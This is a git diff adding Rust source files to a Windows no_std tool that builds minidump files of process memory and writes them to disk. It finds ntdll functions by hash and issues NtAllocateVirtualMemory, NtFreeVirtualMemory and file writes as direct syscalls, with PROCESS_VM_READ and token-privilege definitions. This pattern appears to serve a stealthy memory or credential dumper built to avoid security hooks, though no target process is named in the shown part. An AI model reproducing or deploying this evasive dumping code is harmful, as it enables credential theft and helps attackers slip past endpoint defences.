output_file_name); +} + +#[cfg(not(test))] +use core::panic::PanicInfo; + +#[cfg(not(test))] +#[panic_handler] +fn panic(_info: &PanicInfo) -> ! { + loop {} +} diff --git a/src/mdfile.rs b/src/mdfile.rs new file mode 100644 index 0000000..6d53548 --- /dev/null +++ b/src/mdfile.rs @@ -0,0 +1,158 @@ +#[cfg(feature = "verbose")] +use libc_print::libc_println; + +use alloc::{string::String, vec::Vec}; + +use crate::{debug_println, ntapi::def::OSVersionInfo}; + +// Struct for holding information about a module (DLL), including its base name, +// full path, base address in memory, and the size of the memory region it occupies. +pub struct ModuleInfo { + pub base_name: String, + pub full_dll_name: String, + pub base_address: usize, + pub region_size: usize, +} + +// Struct to represent a memory region, storing the base address and region size. +pub struct MemoryRegion { + pub base_address: usize, + pub region_size: usize, +} + +// Function that generates a memory dump file in a custom format. +// It takes the OS version, list of module information, memory regions, and memory dump data as input. +pub fn generate_memory_dump_file( + os_version: OSVersionInfo, + module_info_list: Vec, + memory64list: Vec, + regions_memdump: Vec, +) -> Vec { + // Calculate the size of the ModuleList stream. + let number_modules = module_info_list.len(); + let mut modulelist_size = 4; // Starts with 4 bytes for the number of modules. + modulelist_size += 108 * number_modules; // Each module takes 108 bytes for basic information. + + // Add the size of the full path names for each module. + for module in &module_info_list { + let module_fullpath_len = module.full_dll_name.len(); + modulelist_size += (module_fullpath_len * 2) + 8; // Each path is encoded in UTF-16 (2 bytes per character). + } + + // Calculate the offset and size for the Memory64List stream. + let mem64list_offset = modulelist_size + 0x7c; // 0x7c is a constant offset before the ModuleList stream starts. + let mem64list_size = 16 + 16 * memory64list.len(); // Memory64List contains 16 bytes per memory region entry. + let offset_memory_regions = mem64list_offset + mem64list_size; // The actual memory dump data comes after Memory64List. + + // Debug prints to show calculated values if verbose mode is enabled. + debug_println!("[+] Total number of modules: {}", number_modules); + debug_println!("[+] ModuleListStream size: {}", modulelist_size); + debug_println!("[+] Mem64List offset: {}", mem64list_offset); + debug_println!("[+] Mem64List size: {}", mem64list_size); + debug_println!("[+] Regions memory dump size: {}", regions_memdump.len()); + debug_println!("[+] Number of memory regions: {}", memory64list.len()); + + // **Header section for the dump file** + let mut header: Vec = Vec::new(); + header.extend(b"MDMP"); // Add the signature "MDMP". + header.extend(&[0x93, 0xa7]); // Version information. + header.extend(&[0x00, 0x00]); + header.extend(&[0x03, 0x00, 0x00, 0x00]); // Header size. + header.extend(&[0x20, 0x00, 0x00, 0x00]); // Reserved space in the header. + let mut new_vec = Vec::new(); + new_vec.resize(32 - header.len(), 0); // Pad the header to 32 bytes. + header.extend(&new_vec); + + // **Stream Directory**: Specifies the types and offsets of the data streams (ModuleList, Memory64List, etc.). + let mut stream_directory: Vec = Vec::new(); + stream_directory.extend(&[0x04, 0x00, 0x00, 0x00]); // Type of stream: ModuleList. + stream_directory.extend(&(modulelist_size as u32).to_le_bytes()); // ModuleList size. + stream_directory.extend(&[0x7c, 0x00, 0x00, 0x00]); // ModuleList offset. + + stream_directory.extend(&[0x07, 0x00, 0x00, 0x00]); // Type of stream: SystemInfo. + stream_directory.extend(&[0x38, 0x00, 0x00, 0x00]); // Size of SystemInfo stream. + stream_directory.extend(&[0x44, 0x00, 0x00, 0x00]); // Offset of SystemInfo stream. + + stream_directory.extend(&[0x09, 0x00, 0x00, 0x00]); // Type of stream: Memory64List. + stream_directory.extend(&(mem64list_size as u32).to_le_bytes()); // Memory64List size. + stream_directory.extend(&(mem64list_offset as u32).to_le_bytes()); // Memory64List offset. + + // **SystemInfo stream**: Contains basic information about the OS version. + let major_version = os_version.dw_major_version; + let minor_version = os_version.dw_minor_version; + let build_number = os_version.dw_build_number; + let platform_id = os_version.dw_platform_id; + let csd_version = " ".encode_utf16().collect::>(); // CSDVersion is encoded in UTF-16. + + let mut systeminfo_stream: Vec = Vec::new(); + systeminfo_stream.extend(&9u16.to_le_bytes()); // Processor architecture. + let mut new_vec = Vec::new(); + new_vec.resize(6, 0); // Padding. + systeminfo_stream.extend(&new_vec); + systeminfo_stream.extend(&major_version.to_le_bytes()); // OS major version. + systeminfo_stream.extend(&minor_version.to_le_bytes()); // OS minor version. + systeminfo_stream.extend(&build_number.to_le_bytes()); // OS build number. + systeminfo_stream.extend(&platform_id.to_le_bytes()); // Platform ID. + for word in csd_version { + systeminfo_stream.extend(&word.to_le_bytes()); // CSDVersion string. + } + let mut new_vec = Vec::new(); + new_vec.resize(56 - systeminfo_stream.len(), 0); // Padding to 56 bytes. + systeminfo_stream.extend(&new_vec); + + // **ModuleListStream**: Contains details of all modules (DLLs) loaded in the process. + let mut modulelist_stream = Vec::new(); + modulelist_stream.extend(&(number_modules as u32).to_le_bytes()); // Number of modules. + + // Pointer to the location of the full module paths in the file. + let mut pointer_index: u64 = + 0x7c + modulelist_stream.len() as u64 + (108 * number_modules) as u64; + + // For each module, add its base address, region size, and path pointer. + for module in &module_info_list { + modulelist_stream.extend(&(module.base_address as u64).to_le_bytes()); + modulelist_stream.extend(&(module.region_size as u64).to_le_bytes()); + modulelist_stream.extend(&[0; 4]); // Padding. + modulelist_stream.extend(&pointer_index.to_le_bytes()); // Pointer to the module's full path. + + pointer_index += ((module.full_dll_name.len() * 2) + 8) as u64; // Update pointer for the next module's path. + let mut new_vec = Vec::new(); + new_vec.resize(108 - (8 + 8 + 4 + 8), 0); // Padding to 108 bytes per module entry. + modulelist_stream.extend(&new_vec); + } + + // Add the full path names for each module, encoded in UTF-16. + for module in &module_info_list { + let unicode_bytearr: Vec = module + .full_dll_name + .encode_utf16() + .flat_map(|c| c.to_le_bytes()) + .collect(); + + modulelist_stream.extend(&((module.full_dll_name.len() * 2) as u32).to_le_bytes()); // Path length. + modulelist_stream.extend(unicode_bytearr.clone()); // Encoded path. + let mut new_vec = Vec::new(); + new_vec.resize(4, 0); // Padding. + modulelist_stream.extend(&new_vec); + } + + // **Memory64ListStream**: Contains memory region information. + let mut memory64list_stream: Vec = Vec::new(); + memory64list_stream.extend(&(memory64list.len() as u64).to_le_bytes()); // Number of memory regions. + memory64list_stream.extend(&(offset_memory_regions as u64).to_le_bytes()); // Offset to memory dump data. + for mem64 in &memory64list { + memory64list_stream.extend(&(mem64.base_address as u64).to_le_bytes()); // Memory region base address. + memory64list_stream.extend(&(mem64.region_size as u64).to_le_bytes()); // Memory region size. + } + + // **Final dump file**: Concatenate all sections to create the final memory dump file. + let mut dump_file = Vec::new(); + dump_file.extend(header); // Add header. + dump_file.extend(stream_directory); // Add stream directory. + dump_file.extend(systeminfo_stream); // Add system info stream. + dump_file.extend(modulelist_stream); // Add module list stream. + dump_file.extend(memory64list_stream); // Add memory64 list stream. + dump_file.extend(regions_memdump); // Add raw memory dump. + + dump_file // Return the final memory dump file as a byte vector. +} diff --git a/src/ntapi/allocator.rs b/src/ntapi/allocator.rs new file mode 100644 index 0000000..830d910 --- /dev/null +++ b/src/ntapi/allocator.rs @@ -0,0 +1,152 @@ +use core::alloc::{GlobalAlloc, Layout}; +use core::cell::UnsafeCell; +use core::ffi::c_void; +use core::ptr::null_mut; +use core::sync::atomic::Ordering; +use core::sync::atomic::{AtomicBool, AtomicIsize}; + +use crate::common::ldrapi::{ldr_function, ldr_module}; +use crate::run_syscall; + +use super::syscall::NtSyscall; +use super::syscall_gate::get_ssn; + +// Atomic flag contains the last status of an NT syscall. +pub static NT_ALLOCATOR_STATUS: AtomicIsize = AtomicIsize::new(0); + +// Atomic flag to ensure initialization happens only once. +static INIT: AtomicBool = AtomicBool::new(false); + +// Static variables to hold the configuration and syscall information, wrapped in UnsafeCell for interior mutability. +static mut NT_ALLOCATE_VIRTUAL_MEMORY_SYSCALL: UnsafeCell> = + UnsafeCell::new(None); + +static mut NT_FREE_VIRTUAL_MEMORY_SYSCALL: UnsafeCell> = UnsafeCell::new(None); + +/// Unsafe function to perform the initialization of the static variables. +/// This includes locating and storing the addresses and syscall numbers for `NtAllocateVirtualMemory` and `NtFreeVirtualMemory`. +pub unsafe fn initialize() { + // Check if initialization has already occurred. + if !INIT.load(Ordering::Acquire) { + // Get the address of ntdll module in memory. + let ntdll_address = ldr_module(0x1edab0ed); + + // Initialize the syscall for NtAllocateVirtualMemory. + let alloc_syscall_address = ldr_function(ntdll_address, 0xf783b8ec); + let alloc_syscall = NtSyscall { + address: alloc_syscall_address, + number: get_ssn(alloc_syscall_address), + hash: 0xf783b8ec, + }; + + *NT_ALLOCATE_VIRTUAL_MEMORY_SYSCALL.get() = Some(alloc_syscall); + + // Initialize the syscall for NtFreeVirtualMemory. + let free_syscall_address = ldr_function(ntdll_address, 0x2802c609); + let free_syscall = NtSyscall { + address: free_syscall_address, + number: get_ssn(free_syscall_address), + hash: 0x2802c609, + }; + + *NT_FREE_VIRTUAL_MEMORY_SYSCALL.get() = Some(free_syscall); + + // Set the initialization flag to true. + INIT.store(true, Ordering::Release); + } +} + +/// Function to ensure that initialization is performed if it hasn't been already. +fn ensure_initialized() { + unsafe { + if !INIT.load(Ordering::Acquire) { + initialize(); + } + } +} + +/// Function to get a reference to the NtAllocateVirtualMemory syscall, ensuring initialization first. +fn get_nt_allocate_virtual_memory_syscall() -> &'static NtSyscall { + ensure_initialized(); + unsafe { + NT_ALLOCATE_VIRTUAL_MEMORY_SYSCALL + .get() + .as_ref() + .unwrap() + .as_ref() + .unwrap() + } +} + +/// Function to get a reference to the NtFreeVirtualMemory syscall, ensuring initialization first. +fn get_nt_free_virtual_memory_syscall() -> &'static NtSyscall { + ensure_initialized(); + unsafe { + NT_FREE_VIRTUAL_MEMORY_SYSCALL + .get() + .as_ref() + .unwrap() + .as_ref() + .unwrap() + } +} + +/// Custom allocator using NT system calls. +pub struct NtVirtualAlloc; + +unsafe impl GlobalAlloc for NtVirtualAlloc { + /// Allocates memory as described by the given `layout` using NT system calls. + /// + /// This function uses the `NtAllocateVirtualMemory` system call to allocate memory. + /// The memory is allocated with `PAGE_READWRITE` protection, which allows both + /// reading and writing. This is appropriate for most use cases like vectors and strings. + unsafe fn alloc(&self, layout: Layout) -> *mut u8 { + // Pointer to the allocated memory. + let mut p_address: *mut c_void = null_mut(); + // Size of the memory to allocate. + let region_size = layout.size(); + // Handle to the current process (-1). + let h_process: *mut u8 = -1isize as _; + + let alloc_syscall = get_nt_allocate_virtual_memory_syscall(); + + let ntstatus = run_syscall!( + (*alloc_syscall).number, + (*alloc_syscall).address as usize, + h_process, + &mut p_address, + 0, + &mut (region_size as usize) as *mut usize, + 0x3000, // MEM_COMMIT | MEM_RESERVE + 0x04 // PAGE_READWRITE + ); + + NT_ALLOCATOR_STATUS.store(ntstatus as isize, Ordering::SeqCst); + + // If the allocation fails, return null; otherwise, return the allocated address. + p_address as *mut u8 + } + + /// Deallocates the block of memory at the given `ptr` pointer with the given `layout` using NT system calls. + /// + /// This function uses the `NtFreeVirtualMemory` system call to deallocate memory. + unsafe fn dealloc(&self, ptr: *mut u8, layout: Layout) { + // Size of the memory to deallocate. + let mut region_size = layout.size(); + // Handle to the current process (-1). + let h_process: *mut u8 = -1isize as _; + + let free_syscall = get_nt_free_virtual_memory_syscall(); + + let ntstatus = run_syscall!( + (*free_syscall).number, + (*free_syscall).address as usize, + h_process, + &mut (ptr as *mut c_void), + &mut region_size, + 0x8000 // MEM_RELEASE + ); + + NT_ALLOCATOR_STATUS.store(ntstatus as isize, Ordering::SeqCst); + } +} diff --git a/src/ntapi/def.rs b/src/ntapi/def.rs new file mode 100644 index 0000000..56072f9 --- /dev/null +++ b/src/ntapi/def.rs @@ -0,0 +1,515 @@ +use core::{ + arch::asm, + ffi::{c_long, c_ulong, c_void}, + ptr, +}; + +use crate::common::utils::string_length_w; + +pub const PROCESS_QUERY_INFORMATION: AccessMask = 0x0400; +pub const PROCESS_VM_READ: AccessMask = 0x0010; + +pub const IMAGE_DOS_SIGNATURE: u16 = 0x5A4D; // "MZ" +pub const IMAGE_NT_SIGNATURE: u32 = 0x00004550; // "PE\0\0" + +// Definition of LIST_ENTRY +#[repr(C)] +#[derive(Copy, Clone)] +pub struct ListEntry { + pub flink: *mut ListEntry, + pub blink: *mut ListEntry, +} + +// Definition of UNICODE_STRING +#[repr(C)] +pub struct UnicodeString { + pub length: u16, + pub maximum_length: u16, + pub buffer: *mut u16, +} + +impl UnicodeString { + pub fn new() -> Self { + UnicodeString { + length: 0, + maximum_length: 0, + buffer: ptr::null_mut(), + } + } + + // RtlInitUnicodeString + pub fn init(&mut self, source_string: *const u16) { + if !source_string.is_null() { + let dest_size = string_length_w(source_string) * 2; + self.length = dest_size as u16; + self.maximum_length = (dest_size + 2) as u16; + self.buffer = source_string as *mut u16; + } else { + self.length = 0; + self.maximum_length = 0; + self.buffer = ptr::null_mut(); + } + } +} + +pub type ULONG = c_ulong; +pub type HANDLE = *mut c_void; +pub type AccessMask = ULONG; + +#[repr(C)] +pub struct ObjectAttributes { + pub length: ULONG, + pub root_directory: HANDLE, + pub object_name: *mut UnicodeString, + pub attributes: ULONG, + pub security_descriptor: *mut c_void, + pub security_quality_of_service: *mut c_void, +} + +impl ObjectAttributes { + pub fn new() -> Self { + ObjectAttributes { + length: 0, + root_directory: ptr::null_mut(), + object_name: ptr::null_mut(), + attributes: 0, + security_descriptor: ptr::null_mut(), + security_quality_of_service: ptr::null_mut(), + } + } + + //InitializeObjectAttributes + pub fn initialize( + p: &mut ObjectAttributes, + n: *mut UnicodeString, + a: ULONG, + r: HANDLE, + s: *mut c_void, + ) { + p.length = core::mem::size_of::() as ULONG; + p.root_directory = r; + p.attributes = a; + p.object_name = n; + p.security_descriptor = s; + p.security_quality_of_service = ptr::null_mut(); + } +} + +#[repr(C)] +pub struct MemoryBasicInformation { + pub base_address: *mut c_void, + pub allocation_base: *mut c_void, + pub allocation_protect: u32, + pub region_size: u64, + pub state: u32, + pub protect: u32, + pub r#type: u32, +} + +#[repr(C)] +pub struct ProcessBasicInformation { + pub exit_status: i32, + pub peb_base_address: *mut c_void, + pub affinity_mask: usize, + pub base_priority: i32, + pub unique_process_id: *mut c_void, + pub inherited_from_unique_process_id: *mut c_void, +} + +pub const MEM_COMMIT: u32 = 0x1000; +pub const PAGE_NOACCESS: u32 = 0x01; + +#[repr(C)] +#[derive(Clone, Copy)] +pub struct LargeInteger { + pub low_part: u32, + pub high_part: i32, +} + +#[repr(C)] +#[derive(Copy, Clone)] +pub struct SectionPointer { + pub section_pointer: *mut c_void, + pub check_sum: c_ulong, +} + +#[repr(C)] +pub union HashLinksOrSectionPointer { + pub hash_links: ListEntry, + pub section_pointer: SectionPointer, +} + +#[repr(C)] +pub union TimeDateStampOrLoadedImports { + pub time_date_stamp: c_ulong, + pub loaded_imports: *mut c_void, +} + +#[repr(C)] +pub struct LoaderDataTableEntry { + pub in_load_order_links: ListEntry, + pub in_memory_order_links: ListEntry, + pub in_initialization_order_links: ListEntry, + pub dll_base: *mut c_void, + pub entry_point: *mut c_void, + pub size_of_image: c_ulong, + pub full_dll_name: UnicodeString, + pub base_dll_name: UnicodeString, + pub flags: c_ulong, + pub load_count: i16, + pub tls_index: i16, + pub hash_links_or_section_pointer: HashLinksOrSectionPointer, + pub time_date_stamp_or_loaded_imports: TimeDateStampOrLoadedImports, + pub entry_point_activation_context: *mut c_void, + pub patch_information: *mut c_void, + pub forwarder_links: ListEntry, + pub service_tag_links: ListEntry, + pub static_links: ListEntry, +} + +#[repr(C)] +pub struct PebLoaderData { + pub length: c_ulong, + pub initialized: c_ulong, + pub ss_handle: *mut c_void, + pub in_load_order_module_list: ListEntry, + pub in_memory_order_module_list: ListEntry, + pub in_initialization_order_module_list: ListEntry, +} + +#[repr(C)] +pub struct PEB { + pub inherited_address_space: bool, + pub read_image_file_exec_options: bool, + pub being_debugged: bool, + pub spare: bool, + pub mutant: *mut c_void, + pub image_base: *mut c_void, + pub loader_data: *const PebLoaderData, + pub process_parameters: *const RtlUserProcessParameters, + pub sub_system_data: *mut c_void, + pub process_heap: *mut c_void, + pub fast_peb_lock: *mut c_void, + pub fast_peb_lock_routine: *mut c_void, + pub fast_peb_unlock_routine: *mut c_void, + pub environment_update_count: c_ulong, + pub kernel_callback_table: *const *mut c_void, + pub event_log_section: *mut c_void, + pub event_log: *mut c_void, + pub free_list: *mut c_void, + pub tls_expansion_counter: c_ulong, + pub tls_bitmap: *mut c_void, + pub tls_bitmap_bits: [c_ulong; 2], + pub read_only_shared_memory_base: *mut c_void, + pub read_only_shared_memory_heap: *mut c_void, + pub read_only_static_server_data: *const *mut c_void, + pub ansi_code_page_data: *mut c_void, + pub oem_code_page_data: *mut c_void, + pub unicode_case_table_data: *mut c_void, + pub number_of_processors: c_ulong, + pub nt_global_flag: c_ulong, + pub spare_2: [u8; 4], + pub critical_section_timeout: i64, + pub heap_segment_reserve: c_ulong, + pub heap_segment_commit: c_ulong, + pub heap_de_commit_total_free_threshold: c_ulong, + pub heap_de_commit_free_block_threshold: c_ulong, + pub number_of_heaps: c_ulong, + pub maximum_number_of_heaps: c_ulong, + pub process_heaps: *const *const *mut c_void, + pub gdi_shared_handle_table: *mut c_void, + pub process_starter_helper: *mut c_void, + pub gdi_dc_attribute_list: *mut c_void, + pub loader_lock: *mut c_void, + pub os_major_version: c_ulong, + pub os_minor_version: c_ulong, + pub os_build_number: c_ulong, + pub os_platform_id: c_ulong, + pub image_sub_system: c_ulong, + pub image_sub_system_major_version: c_ulong, + pub image_sub_system_minor_version: c_ulong, + pub gdi_handle_buffer: [c_ulong; 22], + pub post_process_init_routine: c_ulong, + pub tls_expansion_bitmap: c_ulong, + pub tls_expansion_bitmap_bits: [u8; 80], + pub session_id: c_ulong, +} + +#[repr(C)] +pub struct RtlUserProcessParameters { + pub maximum_length: u32, + pub length: u32, + pub flags: u32, + pub debug_flags: u32, + pub console_handle: *mut c_void, + pub console_flags: u32, + pub standard_input: *mut c_void, + pub standard_output: *mut c_void, + pub standard_error: *mut c_void, + pub current_directory_path: UnicodeString, + pub current_directory_handle: *mut c_void, + pub dll_path: UnicodeString, + pub image_path_name: UnicodeString, + pub command_line: UnicodeString, + pub environment: *mut c_void, + pub starting_x: u32, + pub starting_y: u32, + pub count_x: u32, + pub count_y: u32, + pub count_chars_x: u32, + pub count_chars_y: u32, + pub fill_attribute: u32, + pub window_flags: u32, + pub show_window_flags: u32, + pub window_title: UnicodeString, + pub desktop_info: UnicodeString, + pub shell_info: UnicodeString, + pub runtime_data: UnicodeString, + pub current_directories: [UnicodeString; 32], + pub environment_size: u32, + pub environment_version: u32, + pub package_dependency_data: *mut c_void, + pub process_group_id: u32, + pub loader_threads: u32, +} + +#[repr(C)] +pub struct ImageDosHeader { + pub e_magic: u16, + pub e_cblp: u16, + pub e_cp: u16, + pub e_crlc: u16, + pub e_cparhdr: u16, + pub e_minalloc: u16, + pub e_maxalloc: u16, + pub e_ss: u16, + pub e_sp: u16, + pub e_csum: u16, + pub e_ip: u16, + pub e_cs: u16, + pub e_lfarlc: u16, + pub e_ovno: u16, + pub e_res: [u16; 4], + pub e_oemid: u16, + pub e_oeminfo: u16, + pub e_res2: [u16; 10], + pub e_lfanew: i32, +} + +#[repr(C)] +pub struct ImageFileHeader { + pub machine: u16, + pub number_of_sections: u16, + pub time_date_stamp: u32, + pub pointer_to_symbol_table: u32, + pub number_of_symbols: u32, + pub size_of_optional_header: u16, + pub characteristics: u16, +} + +#[repr(C)] +pub struct ImageDataDirectory { + pub virtual_address: u32, + pub size: u32, +} + +#[repr(C)] +pub struct ImageExportDirectory { + pub characteristics: u32, + pub time_date_stamp: u32, + pub major_version: u16, + pub minor_version: u16, + pub name: u32, + pub base: u32, + pub number_of_functions: u32, + pub number_of_names: u32, + pub address_of_functions: u32, + pub address_of_names: u32, + pub address_of_name_ordinals: u32, +} + +#[cfg(target_arch = "x86_64")] +#[repr(C)] +pub struct ImageNtHeaders { + pub signature: u32, + pub file_header: ImageFileHeader, + pub optional_header: ImageOptionalHeader64, +} + +#[cfg(target_arch = "x86_64")] +#[repr(C)] +pub struct ImageOptionalHeader64 { + pub magic: u16, + pub major_linker_version: u8, + pub minor_linker_version: u8, + pub size_of_code: u32, + pub size_of_initialized_data: u32, + pub size_of_uninitialized_data: u32, + pub address_of_entry_point: u32, + pub base_of_code: u32, + pub image_base: u64, + pub section_alignment: u32, + pub file_alignment: u32, + pub major_operating_system_version: u16, + pub minor_operating_system_version: u16, + pub major_image_version: u16, + pub minor_image_version: u16, + pub major_subsystem_version: u16, + pub minor_subsystem_version: u16, + pub win32_version_value: u32, + pub size_of_image: u32, + pub size_of_headers: u32, + pub check_sum: u32, + pub subsystem: u16, + pub dll_characteristics: u16, + pub size_of_stack_reserve: u64, + pub size_of_stack_commit: u64, + pub size_of_heap_reserve: u64, + pub size_of_heap_commit: u64, + pub loader_flags: u32, + pub number_of_rva_and_sizes: u32, + pub data_directory: [ImageDataDirectory; 16], +} + +#[cfg(target_arch = "x86_64")] +pub fn find_peb() -> *mut PEB { + let peb_ptr: *mut PEB; + unsafe { + asm!( + "mov {}, gs:[0x60]", + out(reg) peb_ptr + ); + } + peb_ptr +} + +#[repr(C)] +pub struct OSVersionInfo { + pub dw_os_version_info_size: u32, + pub dw_major_version: u32, + pub dw_minor_version: u32, + pub dw_build_number: u32, + pub dw_platform_id: u32, + pub sz_csd_version: [u16; 128], // WCHAR is usually represented as u16 in Rust + pub dw_os_version_info_size_2: u32, + pub dw_major_version_2: u32, + pub dw_minor_version_2: u32, + pub dw_build_number_2: u32, + pub dw_platform_id_2: u32, +} + +impl OSVersionInfo { + pub fn new() -> Self { + OSVersionInfo { + dw_os_version_info_size: core::mem::size_of::() as u32, + dw_major_version: 0, + dw_minor_version: 0, + dw_build_number: 0, + dw_platform_id: 0, + sz_csd_version: [0; 128], + dw_os_version_info_size_2: core::mem::size_of::() as u32, + dw_major_version_2: 0, + dw_minor_version_2: 0, + dw_build_number_2: 0, + dw_platform_id_2: 0, + } + } +} +#[allow(dead_code)] +#[repr(C)] +pub union IO_STATUS_BLOCK_u { + pub status: i32, + pub pointer: *mut c_void, +} + +#[allow(dead_code)] +#[repr(C)] +pub struct IoStatusBlock { + pub u: IO_STATUS_BLOCK_u, + pub information: u32, +} + +#[repr(C)] +pub struct LUID { + pub low_part: u32, + pub high_part: i32, +} + +#[repr(C)] +pub struct TokenPrivileges { + pub privilege_count: u32, + pub luid: LUID, + pub attributes: u32, +} + +#[repr(C)] +pub struct SystemProcessInformation { + pub next_entry_offset: u32, + pub number_of_threads: u32, + pub working_set_private_size: LargeInteger, + pub hard_fault_count: u32, + pub number_of_threads_high_watermark: u32, + pub cycle_time: u64, + pub create_time: LargeInteger, + pub user_time: LargeInteger, + pub kernel_time: LargeInteger, + pub image_name: UnicodeString, + pub base_priority: i32, + pub unique_process_id: *mut c_void, + pub inherited_from_unique_process_id: *mut c_void, + pub handle_count: u32, + pub session_id: u32, + pub unique_process_key: usize, + pub peak_virtual_size: usize, + pub virtual_size: usize, + pub page_fault_count: u32, + pub peak_working_set_size: usize, + pub working_set_size: usize, + pub quota_peak_paged_pool_usage: usize, + pub quota_paged_pool_usage: usize, + pub quota_peak_non_paged_pool_usage: usize, + pub quota_non_paged_pool_usage: usize, + pub pagefile_usage: usize, + pub peak_pagefile_usage: usize, + pub private_page_count: usize, + pub read_operation_count: LargeInteger, + pub write_operation_count: LargeInteger, + pub other_operation_count: LargeInteger, + pub read_transfer_count: LargeInteger, + pub write_transfer_count: LargeInteger, + pub other_transfer_count: LargeInteger, + pub threads: [SystemThreadInformation; 1], +} + +#[repr(C)] +pub struct SystemThreadInformation { + pub kernel_time: LargeInteger, + pub user_time: LargeInteger, + pub create_time: LargeInteger, + pub wait_time: u32, + pub start_address: *mut c_void, + pub client_id: ClientId, + pub priority: c_long, + pub base_priority: c_long, + pub context_switches: u32, + pub thread_state: u32, + pub wait_reason: u32, +} + +#[repr(C)] +pub struct ClientId { + pub unique_process: *mut c_void, + pub unique_thread: *mut c_void, +} + +impl ClientId { + pub fn new() -> Self { + ClientId { + unique_process: core::ptr::null_mut(), + unique_thread: core::ptr::null_mut(), + } + } +} + +pub const STATUS_INFO_LENGTH_MISMATCH: i32 = 0xC0000004u32 as i32; +pub const OBJ_CASE_INSENSITIVE: u32 = 0x40; diff --git a/src/ntapi/file.rs b/src/ntapi/file.rs new file mode 100644 index 0000000..a919782 --- /dev/null +++ b/src/ntapi/file.rs @@ -0,0 +1,150 @@ +#[cfg(feature = "verbose")] +use libc_print::libc_println; + +use crate::debug_println; + +use alloc::vec::Vec; + +use super::{def::IoStatusBlock, g_instance::instance}; + +use super::{ + def::{AccessMask, LargeInteger, ObjectAttributes, UnicodeString}, + utils::{build_nt_path, get_current_directory}, +}; + +pub const SYNCHRONIZE: AccessMask = 0x00100000; +pub const STANDARD_RIGHTS_WRITE: AccessMask = 0x00020000; + +pub const FILE_WRITE_DATA: AccessMask = 0x00000002; +pub const FILE_WRITE_ATTRIBUTES: AccessMask = 0x00000100; +pub const FILE_WRITE_EA: AccessMask = 0x00000010; +pub const FILE_APPEND_DATA: AccessMask = 0x00000004; +pub const FILE_GENERIC_WRITE: u32 = STANDARD_RIGHTS_WRITE + | FILE_WRITE_DATA + | FILE_WRITE_ATTRIBUTES + | FILE_WRITE_EA + | FILE_APPEND_DATA + | SYNCHRONIZE; +pub const FILE_OVERWRITE_IF: u32 = 0x00000005; + +pub const FILE_SYNCHRONOUS_IO_NONALERT: u32 = 0x00000020; +pub const FILE_NON_DIRECTORY_FILE: u32 = 0x00000040; + +pub const FILE_SHARE_READ: AccessMask = 0x00000001; +pub const FILE_SHARE_WRITE: AccessMask = 0x00000002; + +pub fn save_file(dump_file_bytes: Vec, dump_file_name: &str) -> i32 { + use core::{ffi::c_void, ptr::null_mut}; + + unsafe { + let mut handle: *mut c_void = null_mut(); + + // Retrieve current directory and handle failure + let cwd = get_current_directory(); + if cwd.is_empty() { + debug_println!("[-] Failed to retrieve current working directory"); + return -1; + } + + let mut buffer = [0u8; 1024]; + + // Build NT path and handle failure + let file_name = build_nt_path(&cwd, dump_file_name, &mut buffer); + if file_name.is_empty() { + debug_println!("[-] Failed to build NT path for file"); + return -1; + } + + let file_path: Vec = { + let mut vec = Vec::with_capacity(file_name.len() + 1); + for c in file_name.encode_utf16() { + vec.push(c); + } + vec.push(0); + vec + }; + + // Initialize the Unicode string for the registry value name + let mut unicode_string = UnicodeString::new(); + unicode_string.init(file_path.as_ptr()); + + let mut object_attributes = ObjectAttributes::new(); + ObjectAttributes::initialize( + &mut object_attributes, + &mut unicode_string, // NT path name + 0, // Flags for case-insensitivity and inheritance + null_mut(), // No root directory + null_mut(), // No security descriptor + ); + + let mut io_status_block: IoStatusBlock = core::mem::zeroed(); + + let allocation_size: *mut LargeInteger = null_mut(); + + let desired_access: AccessMask = FILE_GENERIC_WRITE | SYNCHRONIZE; + + let share_access: AccessMask = FILE_SHARE_READ | FILE_SHARE_WRITE; + + let create_options: AccessMask = FILE_NON_DIRECTORY_FILE | FILE_SYNCHRONOUS_IO_NONALERT; + + let create_disposition: AccessMask = FILE_OVERWRITE_IF; + + // Create the file using NtCreateFile + let status: i32 = instance().ntdll.nt_create_file.run( + &mut handle, + desired_access, + &mut object_attributes, + &mut io_status_block, + allocation_size, + 0, + share_access, + create_disposition, + create_options, + null_mut(), + 0, + ); + + if status < 0 { + debug_println!( + "[-] Failed to create file with status: NTSTATUS: 0x{:X}", + status + ); + return status; + } + + // Initialize IO_STATUS_BLOCK for NtWriteFile + let mut io_status_block_write: IoStatusBlock = core::mem::zeroed(); + + // Write the file content using NtWriteFile + let status_write = instance().ntdll.nt_write_file.run( + handle, + null_mut(), + null_mut(), + null_mut(), + &mut io_status_block_write, + dump_file_bytes.as_ptr() as *mut c_void, + dump_file_bytes.len() as u32, + null_mut(), + null_mut(), + ); + + if status_write < 0 { + debug_println!( + "[-] Failed to write to file with status: NTSTATUS: 0x{:X}", + status_write + ); + instance().ntdll.nt_close.run(handle); + } else { + debug_println!( + "[+] File {} ({}) created successfully.", + file_name, + dump_file_bytes.len() + ); + } + + // Close the file handle + instance().ntdll.nt_close.run(handle); + + status_write + } +} diff --git a/src/ntapi/g_instance.rs b/src/ntapi/g_instance.rs new file mode 100644 index 0000000..60f70b2 --- /dev/null +++ b/src/ntapi/g_instance.rs @@ -0,0 +1,157 @@ +use core::{ + cell::UnsafeCell, + sync::atomic::{AtomicBool, Ordering}, +}; + +use super::syscall_gate::get_ssn; + +use crate::{ + common::ldrapi::{ldr_function, ldr_module}, + ntapi::syscall::NtDll, +}; + +#[repr(C)] +pub struct Instance { + pub ntdll: NtDll, // NtDll API functions +} + +impl Instance { + pub fn new() -> Self { + Instance { + ntdll: NtDll::new(), + } + } +} + +static INIT_INSTANCE: AtomicBool = AtomicBool::new(false); + +pub static mut INSTANCE: UnsafeCell> = UnsafeCell::new(None); + +/// Retrieves a reference to the global instance. +pub unsafe fn instance() -> &'static Instance { + ensure_initialized(); + return INSTANCE.get().as_ref().unwrap().as_ref().unwrap(); +} + +/// Function to ensure that initialization is performed if it hasn't been already. +fn ensure_initialized() { + unsafe { + if !INIT_INSTANCE.load(Ordering::Acquire) { + init_native(); + } + } +} + +unsafe fn init_native() { + if !INIT_INSTANCE.load(Ordering::Acquire) { + let mut instance = Instance::new(); + + const NTDLL_HASH: u32 = 0x1edab0ed; + + instance.ntdll.module_base = ldr_module(NTDLL_HASH); + + // Resolve LdrLoadDll + let ldr_load_dll_addr = ldr_function(instance.ntdll.module_base, 0x9e456a43); + instance.ntdll.ldr_load_dll = core::mem::transmute(ldr_load_dll_addr); + + // NtAllocateVirtualMemory + instance.ntdll.nt_allocate_virtual_memory.syscall.address = ldr_function( + instance.ntdll.module_base, + instance.ntdll.nt_allocate_virtual_memory.syscall.hash, + ); 